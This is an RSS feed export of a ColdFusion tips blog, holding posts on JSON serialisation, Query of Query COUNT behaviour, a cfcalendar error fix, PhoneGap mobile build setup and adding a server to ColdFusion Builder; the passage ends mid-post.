<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-2973278314141154226</atom:id><lastBuildDate>Thu, 04 Jun 2026 07:58:51 +0000</lastBuildDate><category>ColdFusion</category><category>ColdFusion 10</category><category>ColdFusion 9</category><category>JavaScript</category><category>AJAX</category><category>ColdFusion Rport Builder</category><category>Security</category><category>cfgrid</category><category>ColdFusion 11</category><category>ColdFusion Splendor</category><category>Query Of Query</category><category>Regular Expression</category><category>String Matching</category><category>XSS Attack</category><category>cfqueryparam</category><category>CFX</category><category>ColdFusion Question</category><category>ColdFusion Thunder</category><category>QoQ</category><category>cfcookie</category><category>cfquery</category><category>cfscript</category><category>cfzip</category><category>custom tag</category><category>export Excel</category><category>jQuery</category><category>query</category><category>.net dll</category><category>Access is Denied</category><category>Adding a CF Server into CF Builder</category><category>AntiSamy library integration In ColdFusion</category><category>Application.cfc</category><category>Application.cfm</category><category>Authentication</category><category>Basic Authentication</category><category>Bug Tracking System</category><category>CF Admin</category><category>CF Admin API</category><category>CFAdmin</category><category>CFHTTP</category><category>CSRF Attack</category><category>CSS</category><category>Case Sensitive</category><category>Case sensitive issue with cookie in Coldfusion</category><category>Creating a Random Captcha with refresh Option</category><category>Displaying multibyte characters</category><category>Exam</category><category>Export pdf</category><category>File Uploading Security</category><category>File Write Operation on a Shared Path on Different Computer in ColdFusion</category><category>Generate Android Key using Command Line</category><category>Google API</category><category>IIS</category><category>Installing ColdFusin Server</category><category>JSON</category><category>JSONUtil</category><category>Kendo UI</category><category>LIKE</category><category>ListCompare</category><category>MS SQL</category><category>Password Protection</category><category>Plivo</category><category>Post Parameters Exceeds Maximum Limit</category><category>Question</category><category>Reset CFAdmin Password</category><category>Responsive Design</category><category>Responsive UI</category><category>SMS gateway</category><category>SQL Injection</category><category>SVN</category><category>SerializeJSON</category><category>Session Hijacking</category><category>String or binary data would be truncated</category><category>Test</category><category>Too many parameters</category><category>URL shortening</category><category>UnZip .gz</category><category>Web Service</category><category>WebSocket</category><category>XML</category><category>You do not have permission to view this directory or page because of the access control list (ACL) configuration or encryption settings for this resource on the Web server</category><category>async</category><category>asynchronous AJAX</category><category>auto refresh</category><category>cfcalender</category><category>cfform</category><category>cfprocessingdirective</category><category>cfspreadsheet</category><category>cfthread</category><category>client side validation</category><category>cookie</category><category>database</category><category>datefield</category><category>dll Object</category><category>enhancement</category><category>export CSV</category><category>export cfgrid</category><category>file uploading</category><category>for-in loop</category><category>insert null</category><category>kill cfthread</category><category>mapping</category><category>performance</category><category>return multibyte characters in AJAX call</category><category>structDelete for delete cookie in ColdFusion</category><category>structure</category><category>sync</category><category>synchronous AJAX</category><category>tar Extraction</category><category>thread kill</category><category>zip</category><title>ColdFusion Tips</title><description>Tips and Tricks for ColdFusion and Other Web Technologies like Java, jQuery, DataBase</description><link>http://coldfusion-tip.blogspot.com/</link><managingEditor>noreply@blogger.com (Unknown)</managingEditor><generator>Blogger</generator><openSearch:totalResults>69</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-5257054088056671386</guid><pubDate>Thu, 27 Aug 2015 10:49:00 +0000</pubDate><atom:updated>2015-08-27T16:22:01.520+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">JSON</category><category domain="http://www.blogger.com/atom/ns#">JSONUtil</category><category domain="http://www.blogger.com/atom/ns#">SerializeJSON</category><title>ColdFusion UDF ( JSONUtil ) for serialize complex Objects without changing data formatting</title><description>ColdFusion has built-in function &amp;nbsp;&lt;a href=&quot;https://wikidocs.adobe.com/wiki/display/coldfusionen/SerializeJSON&quot; target=&quot;_blank&quot;&gt;SerializeJSON&lt;/a&gt;&amp;nbsp;for serialize a complex object into JSON but many times our data gets converted into some different format. Example:&lt;br /&gt;
&lt;br /&gt;
- if a number is greater than certain limit then it will convert it into exponent format.&lt;br /&gt;
- if the data type is date then it converted to some type but in UI side we want something different.&lt;br /&gt;
- Sometimes decimal fields also gets converted to some other formatting.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So, in-order to avoid any reformatting of data at client side. I wrote a ColdFusion function which will perform the conversion (CF Object -&amp;gt; JSON). I&#39;m already using this in one of my project and it works fine without any problem. Hope it may help you if you&#39;re looking something like this.&lt;br /&gt;
&lt;br /&gt;
Points to Remember:&lt;br /&gt;
- You can modify the code if you need certain type of formatting for date or number data type.&lt;br /&gt;
- For serializing ColdFusion components make sure the fields present as the properties of that component.&lt;br /&gt;
&lt;br /&gt;
If you have any feedback for this I&#39;m happy to listen it. Below is the code:&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/f7bc8f78c202de677706.js&quot;&gt;&lt;/script&gt;</description><link>http://coldfusion-tip.blogspot.com/2015/08/coldfusion-udf-jsonutil-for-serialize.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-2362763494884513143</guid><pubDate>Mon, 10 Nov 2014 16:49:00 +0000</pubDate><atom:updated>2014-11-10T22:19:25.748+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">Query Of Query</category><title>Difference of COUNT(*) between Query of Query(QoQ) and normal SQL Query</title><description>Before explaining the exact situation let me show you some code which we come across most of the time in our daily work life.&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/9f3264a9113e31a986ce.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
In above code here I&#39;m displaying:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Total artists records.&lt;/li&gt;
&lt;li&gt;COUNT of total no of artists by a condition which will return 0 record.&lt;/li&gt;
&lt;li&gt;COUNT of total no of artists by a condition on Query of Query which also returns 0 record.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
Lets see the output:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIOPiaNDARDwwolcHjmPNHTFxFpB54bZb80DNnPowIGhy8Aos4o1CJDfkouDLs7H1D_c5zIlizehr80DtXeBAuurfdslMr8NvqB4ZWMawHg591H9PRX9aVZCdBlDdfXcjCTbBp1LFy6ak/s1600/QueryofQuery.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIOPiaNDARDwwolcHjmPNHTFxFpB54bZb80DNnPowIGhy8Aos4o1CJDfkouDLs7H1D_c5zIlizehr80DtXeBAuurfdslMr8NvqB4ZWMawHg591H9PRX9aVZCdBlDdfXcjCTbBp1LFy6ak/s1600/QueryofQuery.png&quot; height=&quot;478&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Here by first dump we get total no of records and in 2nd dump we are getting 1 record with ArtistCount column and value is 0, as the condition of the query doesn&#39;t matches any record. The 3rd dump where we again calculates the artist count but by Query of Query we get 0 no of rows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I have tested the same thing in Oracle, SQL server and this built-in database with ColdFusion Admin application, all these databases returns 1 row when we evaluate COUNT(*) and the value of that field varies as per the total no records. i,e - it may be 0 or more than that.&lt;br /&gt;
&lt;br /&gt;
But, if we consider the same situation by ColdFusion Query of Query then it returns 0 record for record count field if there is no matching record and returns record count if it is more than 0.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;u&gt;Conclusion&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;:&lt;br /&gt;
&lt;b&gt;Here I&#39;m not trying to explain if it is an issue with QoQ. And I&#39;m not sure if it would be correct to compare ColdFusion Query of Query with a database but &lt;span style=&quot;color: red;&quot;&gt;we should remember this thing as in most of the time while evaluating COUNT(*) we use the field name and if we do the same for Query of Query then there might be situation where your code will fail&lt;/span&gt;&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Happy Coding! :)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
</description><link>http://coldfusion-tip.blogspot.com/2014/11/difference-of-count-between-query-of.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIOPiaNDARDwwolcHjmPNHTFxFpB54bZb80DNnPowIGhy8Aos4o1CJDfkouDLs7H1D_c5zIlizehr80DtXeBAuurfdslMr8NvqB4ZWMawHg591H9PRX9aVZCdBlDdfXcjCTbBp1LFy6ak/s72-c/QueryofQuery.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-4679621789756337739</guid><pubDate>Sat, 24 May 2014 11:37:00 +0000</pubDate><atom:updated>2014-05-24T17:08:41.273+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">cfcalender</category><category domain="http://www.blogger.com/atom/ns#">cfform</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">datefield</category><title>_48a is undefined datefield in coldfusion</title><description>I was using ColdFusion calender control inside cfform and always I was getting error &quot;&lt;b&gt;_48a is undefined&lt;/b&gt;&quot; in cfcalender.js. After doing a lot of searching and some R&amp;amp;D finally I got the solution for this issue.&lt;br /&gt;
&lt;br /&gt;
The issue was due to the wrong formatting of HTML code, lets see what was that in my case:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table&amp;gt;&lt;br /&gt;
&amp;lt;cfform&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;...&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/cfform&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When I was putting &lt;b&gt;cfform&lt;/b&gt; outside of &lt;b&gt;td&lt;/b&gt; but inside of &lt;b&gt;table &lt;/b&gt;then it was throwing error. So, what is the solution???&lt;br /&gt;
&lt;br /&gt;
Solution: &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Put cfform tag either outside of table or inside of td&lt;/span&gt;&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
But, in some cases it may not solve your problem, at that time you can take care following points:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Make sure your HTML formatting is correct. Example: There should not be start cfform tag inside &amp;lt;p&amp;gt; and end cfform tag outside of &amp;lt;p&amp;gt;.&lt;/li&gt;
&lt;li&gt;Make sure there is no duplicate ID or name for a form and form elements inside the page.&lt;/li&gt;
&lt;li&gt;Put the following meta tag in the header of the page:&amp;nbsp;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=8&quot; /&amp;gt;. (&lt;/span&gt;This is optional&lt;span style=&quot;color: red;&quot;&gt;)&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
</description><link>http://coldfusion-tip.blogspot.com/2014/05/48a-is-undefined-datefield-in-coldfusion.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-8534678884687301678</guid><pubDate>Thu, 27 Mar 2014 09:14:00 +0000</pubDate><atom:updated>2014-03-27T14:49:16.828+05:30</atom:updated><title>Setting PhoneGap server in your CF Builder and Creating a Sample Mobile Application</title><description>In my previous posts we have learned how to &lt;a href=&quot;http://coldfusion-tip.blogspot.com/2014/03/coldfusion-splendor-installation.html&quot; target=&quot;_blank&quot;&gt;install Splendor Beta&lt;/a&gt; and &lt;a href=&quot;http://coldfusion-tip.blogspot.com/2014/03/installationof-coldfusion-builder-cf.html&quot; target=&quot;_blank&quot;&gt;install Thunder&amp;nbsp;Beta&lt;/a&gt; and the &lt;a href=&quot;http://coldfusion-tip.blogspot.com/2014/03/generate-android-key-using-command-line.html&quot; target=&quot;_blank&quot;&gt;creating Cert key for Android application development&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
So, now we will see how we&#39;ll set up the key in Thunder (ColdFusion Builder) and how we&#39;ll create a sample mobile application.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Create one account in Phone Gap Server. ( https://build.phonegap.com/&amp;nbsp;)&lt;/li&gt;
&lt;li&gt;Go to Windows -&amp;gt; Preferences -&amp;gt; ColdFusion -&amp;gt; PhoneGap. You will see a screen like below:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJwRWx6FduRVDfWYqV_3ZnPM8pV05Noqy0UzVCxfK2YvvOOYYG09QLXCUFWE3dUdvc37UmH-vzXXX63EzYUw224LT0XuJaZftCXeHy4nnebXTFYG05WssDoJO_xuZADbucaq6MVs9WL6U/s1600/mob1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJwRWx6FduRVDfWYqV_3ZnPM8pV05Noqy0UzVCxfK2YvvOOYYG09QLXCUFWE3dUdvc37UmH-vzXXX63EzYUw224LT0XuJaZftCXeHy4nnebXTFYG05WssDoJO_xuZADbucaq6MVs9WL6U/s1600/mob1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Server URI&lt;/b&gt;: URL of the PhoneGap server, use what I have wrote in the screenshot.&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Email Address&lt;/b&gt;: Email address which you have registered during account creation.&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Password&lt;/b&gt;: PhoneGap account password.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I mainly concentrated on android build only, so we only have to provide Android key details.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;.keystore file&lt;/b&gt;: Browse the key store file which you have created.&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Title&lt;/b&gt;: Title you have provided during key creation&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Alias&lt;/b&gt;: Alias name you have provided during key creation&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Key Password&lt;/b&gt;: Key Password you have provided during key creation&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Keystore Password&lt;/b&gt;:&amp;nbsp;Keystore&amp;nbsp;Password you have provided during key creation&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Then click on Apply and Ok. We added our android key and setup the builder to generate android build.&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Go to File -&amp;gt; New -&amp;gt; ColdFusion Mobile Project. Then you will see a new screen like below:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW8TwYbaLxFu3ABB2WYHD3Opmddzuyuo5JTGbppC1oy8PVduWJi0ZdSJinTu6HXI2VSfXEWfYv69-rzRWmV6PryRIRlS9plSLwSzktdSu_4RCPxr3fzR-1vKUMsGc5lKq_-oQK6aIcMaI/s1600/mob5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW8TwYbaLxFu3ABB2WYHD3Opmddzuyuo5JTGbppC1oy8PVduWJi0ZdSJinTu6HXI2VSfXEWfYv69-rzRWmV6PryRIRlS9plSLwSzktdSu_4RCPxr3fzR-1vKUMsGc5lKq_-oQK6aIcMaI/s1600/mob5.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
This window is for template selection, we are going to create a simple application so select blank template and click on Next. Then one new window will come like below:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBqrT1aFfQqsFCPOtGzbcp58l1dGHO8E4P70JqOAi3oc04T7KRW6I_nEOTXhKrc8ZztQOypUYrkWMUnAQL4hLkcLryy-1hEuERODmFu110ZNVMF5QVFbLH3ljsOf_MVSrCUruQBcDHZDg/s1600/mob6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBqrT1aFfQqsFCPOtGzbcp58l1dGHO8E4P70JqOAi3oc04T7KRW6I_nEOTXhKrc8ZztQOypUYrkWMUnAQL4hLkcLryy-1hEuERODmFu110ZNVMF5QVFbLH3ljsOf_MVSrCUruQBcDHZDg/s1600/mob6.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp;Provide the Project name and the location(Web Root) where this project will be created. Click on Next and you will get another screen.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM04ufec6FVeZXag4_Dyj_ivSRyljmNLrAIIlheD2m3_6k3apKZGG98PK7K20b8Qa9REwYtybizvQFEjMVxU5xHnBzEzDgamfOa9v66myhbTw4IUDFqp8s2s_q4OSMn1yFEnF3uEdj5o8/s1600/mob7.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM04ufec6FVeZXag4_Dyj_ivSRyljmNLrAIIlheD2m3_6k3apKZGG98PK7K20b8Qa9REwYtybizvQFEjMVxU5xHnBzEzDgamfOa9v66myhbTw4IUDFqp8s2s_q4OSMn1yFEnF3uEdj5o8/s1600/mob7.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
In this window we will select server where our application will be linked, it will take default one but if you have more than one server configured in Thunder then you can select the server which you want. Then click on finish.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Up to now we have created a project in ColdFusion Builder.&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Now, go to following URL &lt;a href=&quot;http://ramkulkarni.com/temp/2014-02-25/ExpenseTracker_project.zip&quot;&gt;http://ramkulkarni.com/temp/2014-02-25/ExpenseTracker_project.zip&lt;/a&gt; &amp;nbsp;and download the zip file and extract all the files available there. Otherwise you can go to this URL: &lt;a href=&quot;https://drive.google.com/file/d/0B2GDR5_Jv000c3hFT1RVWDBXTk0/edit?usp=sharing&quot;&gt;https://drive.google.com/file/d/0B2GDR5_Jv000c3hFT1RVWDBXTk0/edit?usp=sharing&lt;/a&gt;&amp;nbsp; to download and extract the zip files.&lt;/li&gt;
&lt;li&gt;Except setting files copy and paste all other code files in your Mobile Project in Thunder and overwrite the files if it asks.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
NOTE: Here my priority is to setup the mobile Application and create a build, so I&#39;m using Ram Kulkarni&#39;s sample code. Ram is the developer who has developed this Mobile development feature in ColdFusion and it&#39;s better to refer his code. For more details you can visit his Blog:&amp;nbsp;&lt;a href=&quot;http://ramkulkarni.com/blog/creating-database-mobile-application-with-coldfusion-splendor/&quot;&gt;http://ramkulkarni.com/blog/creating-database-mobile-application-with-coldfusion-splendor/&lt;/a&gt;.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Right click on the ColdFusion Mobile Project and then Click on Generate PhoneGap Build.&lt;/li&gt;
&lt;li&gt;Go to console of the ColdFusion Builder then you will see error messages for IOS build as we have not provide any key details for IOS and for android we will get a success message like below:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPBzD7xFFRWeATsF3fhhb1xqDvkOahzYOvUsY1A6thXAFIwHJyld6Ao7Z5M5jbwaiNpN6N0ob_I447TSlwEX86dz4rI93mMvHSx5tmuDVMiAFRjL153439SNPWI36cTHmhHN-OqdRXxkM/s1600/mob8.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPBzD7xFFRWeATsF3fhhb1xqDvkOahzYOvUsY1A6thXAFIwHJyld6Ao7Z5M5jbwaiNpN6N0ob_I447TSlwEX86dz4rI93mMvHSx5tmuDVMiAFRjL153439SNPWI36cTHmhHN-OqdRXxkM/s1600/mob8.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Go to PhoneGap Status tab and you will see the screen like below:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaJXH2740h-K6SFhG1_rXuXtLyWqo8g8j5QO5BpbwAjiqnhWq2CyFiO9eIHUYOBwsH1eL6Xq4B9-GjyHuceKgaG-3LdsecCAMiMotxAvsKZmHSuKM_0KrOHtTQI3nB_aWJKefXX_KY76U/s1600/mob9.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaJXH2740h-K6SFhG1_rXuXtLyWqo8g8j5QO5BpbwAjiqnhWq2CyFiO9eIHUYOBwsH1eL6Xq4B9-GjyHuceKgaG-3LdsecCAMiMotxAvsKZmHSuKM_0KrOHtTQI3nB_aWJKefXX_KY76U/s1600/mob9.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
For iOS we got error and for Android there is a download link. It will take 2-3 mins or less for the download link to be visible so please wait for that. Now, click on download and give the path where to download and after few mins it will show a message that download completed.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
So, if you will go that location you will see a .APK file. Move that file to your android device and now you install and run the application.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This post is for the first step towards mobile development. You can refer other materials for advance concept.&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2014/03/setting-phonegap-server-in-your-cf.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJwRWx6FduRVDfWYqV_3ZnPM8pV05Noqy0UzVCxfK2YvvOOYYG09QLXCUFWE3dUdvc37UmH-vzXXX63EzYUw224LT0XuJaZftCXeHy4nnebXTFYG05WssDoJO_xuZADbucaq6MVs9WL6U/s72-c/mob1.png" height="72" width="72"/><thr:total>6</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-8114421023241034709</guid><pubDate>Thu, 20 Mar 2014 19:14:00 +0000</pubDate><atom:updated>2014-03-21T01:12:41.787+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Adding a CF Server into CF Builder</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion 11</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion Splendor</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion Thunder</category><title>Adding a CF Server into your CF Builder</title><description>I know this is a very old topic to write but many times I gets questions from our junior engineers regarding this and they makes some common mistakes while doing this. So, I&#39;m going to share this:&lt;br /&gt;
&lt;br /&gt;
Here, I am using ColdFusion Splendor Beta as my CF Server and ColdFusion Thunder Beta as the Builder.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;u&gt;Steps:&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
Open your CF builder and see the add server button present at the bottom panel of your builder as shown below. Sometimes this panel minimized with side bar please check it out.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnNu4ioqMakyltZ2YB6ld7xyAV8VqBr7Fn-OqzPCEpu1hzBm0wuqm29UKAJGShKzfD_-UCpCkLn1dqa1WY36l6mS-oiBkh_UYhTJi1paMUl3Aieg4fD_tvNfHZ0bmijGaQpfDAdAJCSIw/s1600/AddServer1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnNu4ioqMakyltZ2YB6ld7xyAV8VqBr7Fn-OqzPCEpu1hzBm0wuqm29UKAJGShKzfD_-UCpCkLn1dqa1WY36l6mS-oiBkh_UYhTJi1paMUl3Aieg4fD_tvNfHZ0bmijGaQpfDAdAJCSIw/s1600/AddServer1.png&quot; height=&quot;454&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Click on that Add Server button then it will open a new window like below:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAPcVig1QWHwxS4U_ADhBfREz4RknEH5N6CeDkY2-_r8vQvVNiB_9uu-HKlDFTNZmuP4Q0Yl9fDKp4h74tZFZYH5FeTI0H7AUDfyaIsaifpGTy3rx4s8ckHPjUUOnhxjhYULWFcVQr_7U/s1600/AddServer2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAPcVig1QWHwxS4U_ADhBfREz4RknEH5N6CeDkY2-_r8vQvVNiB_9uu-HKlDFTNZmuP4Q0Yl9fDKp4h74tZFZYH5FeTI0H7AUDfyaIsaifpGTy3rx4s8ckHPjUUOnhxjhYULWFcVQr_7U/s1600/AddServer2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Here in this window there are so many options but we will only consider options which are required for setting a local server.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Server Name&lt;/b&gt;: Any name to identify your server.&lt;br /&gt;
&lt;b&gt;Description&lt;/b&gt;: Description for your server.&lt;br /&gt;
&lt;b&gt;Application Server&lt;/b&gt;: Inbuilt server on which ColdFusion runs, form CF10 ColdFusion is integrated with Tomcat. So, for ColdFusion Splendor it&#39;s also Tomcat.&lt;br /&gt;
&lt;b&gt;Host Name&lt;/b&gt;: Here you can provide any IP address or the host name.&lt;br /&gt;
&lt;b&gt;Web Server Port&lt;/b&gt;: Port on which ColdFusion server is installed, best way to find is the port no used while accessing CF Admin Web Application in URL.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;JEE Settings are not required for us.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
In Other settings provide RDS user name and RDS password which you have set during ColdFusion server installation. Then Click on NEXT, you will see a new window like below:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
